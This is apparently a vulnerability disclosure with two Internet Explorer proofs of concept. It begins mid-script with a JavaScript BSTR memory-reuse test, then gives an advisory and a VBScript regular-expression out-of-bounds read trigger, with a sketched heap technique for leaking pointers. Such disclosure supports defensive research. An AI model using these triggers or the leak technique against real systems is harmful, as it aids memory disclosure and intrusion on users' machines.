  // Explorer 11. See http://blog.skylined.nl/20161109001.html for details.
  var s­Set­Property­Name = "textdecorationblink", //text­Decoration­Line­Through, text­Decoration­Line­None, text­Decoration­Overline, text­Decoration­Underline
      s­Get­Property­Name = "text-decoration",
      s­Property­Value = "blink"; 
  function fb­Test(s­Test) {
    var o = document.create­Element("x");
    // Cleanup, potentially fill OLEAUT32 BSTR cache
    Collect­Garbage();
    // Empty the smallest BSTR bucket of the OLEAUT32 cache and defragement the small chunks heap.
    o.set­Attribute("a", "1");
    o.set­Attribute("b", "2");
    o.set­Attribute("c", "3");
    o.set­Attribute("d", "4");
    o.set­Attribute("e", "5");
    o.set­Attribute("f", "6");
    // Add the <s­Test> BSTR to the smallest bucket of the OLEAUT32 BSTR cache.
    o.set­Attribute("x", s­Test);
    o.remove­Attribute("x");
    // reused the <s­Test> memory and overwrite the first two chars with 'x' and '\0', then read from offset +8
    o.style.set­Property(s­Set­Property­Name, "x");
    var b­Result = o.style.get­Property­Value(s­Get­Property­Name) == s­Property­Value;
    alert(JSON.stringify(s­Test) + "=>" + b­Result);
  };
  fb­Test("12345");          // true
  fb­Test("1234\0");         // false
  fb­Test("1234");           // false
  fb­Test("123");            // (AV on x64 if page heap enabled).
  // This work by Sky­Lined is licensed under a Creative Commons
  // Attribution-Non-Commercial 4.0 International License.
</script>
            
<!--
Source: http://blog.skylined.nl/20161108001.html

Synopsis

A specially crafted script can cause the VBScript engine to read data beyond a memory block for use as a regular expression. An attacker that is able to run such a script in any application that embeds the VBScript engine may be able to disclose information stored after this memory block. This includes all versions of Microsoft Internet Explorer.

Known affected versions, attack vectors and mitigations

vbscript.dll

The issue is known to have affected versions 5.8.7600.16385 - 5.8.9600.16384, and both the 32- and 64-bit vbscript.dll binaries. It may also impact earlier versions as well as later versions as I am not sure exactly when the issue was addressed by Microsoft.

Windows Script Host

VBScript can be executed in the command line using cscript.exe/wscript.exe. An attacker would need to find a script running on a target machine that accepts an attacker supplied regular expression and a string, or be able to execute his/her own script. However, since the later should already provide an attacker with arbitrary code execution, no additional privileges are gained by exploiting this vuln.

Microsoft Internet Explorer

VBScript can be executed from a web-page; MSIE 8, 9, 10 and 11 were tested and are all affected. MSIE 11 requires a META tag to force it to render the page as an earlier version, as MSIE 11 attempts to deprecate VBScript (but fails, so why bother?). An attacker would need to get a target user to open a specially crafted web-page. Disabling scripting, particularly VBScript, should prevent an attacker from triggering the vulnerable code path. Enabling Enhanced Protected Mode appears to disable VBScript on my systems, but I have been unable to find documentation on-line that confirms this is by design.

Internet Information Server (IIS)

If Active Server Pages (ASP) are enabled, VBScript can be executed in Active Server Pages. An attacker would need to find an asp page that accepts an attacker supplied regular expression and a string, or be able to inject VBScript into an ASP page in order to trigger the vulnerability.
-->

<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="x-ua-compatible" content="IE=10">
    <script language="VBScript">
      Dim oRegExp
      Set oRegExp = New RegExp
      Sub RegExpSetPattern(sPattern)
        oRegExp.Pattern = sPattern
      End Sub
      Function RegExpExecute(sData)
        RegExpExecute = oRegExp.Execute(sData)
      End Function
    </script>
    <script language="Javascript">
      RegExpSetPattern("\u0504\u0706\u0908\u0B0A\u0D0C\u0F0E\u1110\u1312\u1514\u1716\u1918\u1B1A\\");
      var oObject = RegExpExecute("23456789ABCD\0");
    </script>
  </head>
</html>

<!--
Description

When a regular expression is used to find matches in a string, it is first "compiled". During compilation, when a '\' escape character is encountered, the RegExpComp::PnodeParse function reads the next character to determine the type of escape sequence. However, if the last character in a regular expression is a '\' character, the code will read and use the terminating '\0' character as the second character in the escape sequence. This causes the code to ignore the end of the string and continue to compile whatever data is found beyond it as if it was part of the regular expression.

Exploit

The regular expressions string is stored in a BSTR, which means that the heap block in which it is stored may be larger than the regular expression. This means that if the heap block was used to store something else, then freed and reused for the regular expression, it may contain interesting information immediately following the regular expression. It also means that "heap feng-shui" can be used to control this as well as control the contents of the next heap block, which may also contain useful information.

This amount of control suggests that it may be possible to store this useful information compiled as if it was part of the regular expression. A number of functions can then be used to attempt to extract this information, such as matching to a string containing a sequence that contains all the possible values for the information: the resulting matches should reveal what information was compiled into the regular expression.

I did not implement such an attack, but here's one example of what it might look like:

Let's assume we can allocate 0x20 bytes of heap, of which the last four bytes contain a pointer into a dll and then free it.

0000 ?? ?? ?? ??  ?? ?? ?? ??  ?? ?? ?? ??  ?? ?? ?? ??  |  ????????
0010 ?? ?? ?? ??  ?? ?? ?? ??  ?? ?? ?? ??  <<pointer>>  |  ??????ab

(In the above, "a" represents the least significant half of the address as a Unicode character and "b" the most significant half.)

Let's also assume we can allocate a heap block immediately following it in which we can control the first four bytes and set them to "]\0", or [5D 00 00 00].

0000 ?? ?? ?? ??  ?? ?? ?? ??  ?? ?? ?? ??  ?? ?? ?? ??  |  ????????
0010 ?? ?? ?? ??  ?? ?? ?? ??  ?? ?? ?? ??  <<pointer>>  |  ??????ab
0020 5D 00 00 00  ?? ?? ?? ??  ?? ?? ?? ??  ?? ?? ?? ??  |  ].??????

Finally, let's assume we can reallocate the freed heap block to store a regular expression "468ACE02|[\".

0000 18 00 00 00  34 00 36 00  38 00 3A 00  3C 00 3E 00  |  ..468ACE
0010 30 00 32 00  7C 00 5B 00  5C 00 00 00  <<pointer>>  |  02|[\.ab
0020 5D 00 00 00  ?? ?? ?? ??  ?? ?? ?? ??  ?? ?? ?? ??  |  ].??????

When using the regular expression, it will effectively be compiled into "468ACE02|[\0ab]". Using this regular expression to find matches in a string that contains all valid Unicode characters should yield two matches: "a" and "b", in any order. You could then do the entire thing over and construct compiled regular expression that is effectively "468ACE02|(\0ab)" and matching this against the string "\0ab\0ba" to find out in which order "a" and "b" should be used to determine the value of the address.

Time-line

June 2014: This vulnerability was found through fuzzing, but I was unable to reproduce it outside of my fuzzing framework for unknown reasons.
April 2015: This vulnerability was found through fuzzing again.
April 2015: This vulnerability was submitted to ZDI.
May 2015: ZDI rejects the submission.
November 2016: The issue does not reproduce in the latest build of MSIE 11.
November 2016: Details of this issue are released.
-->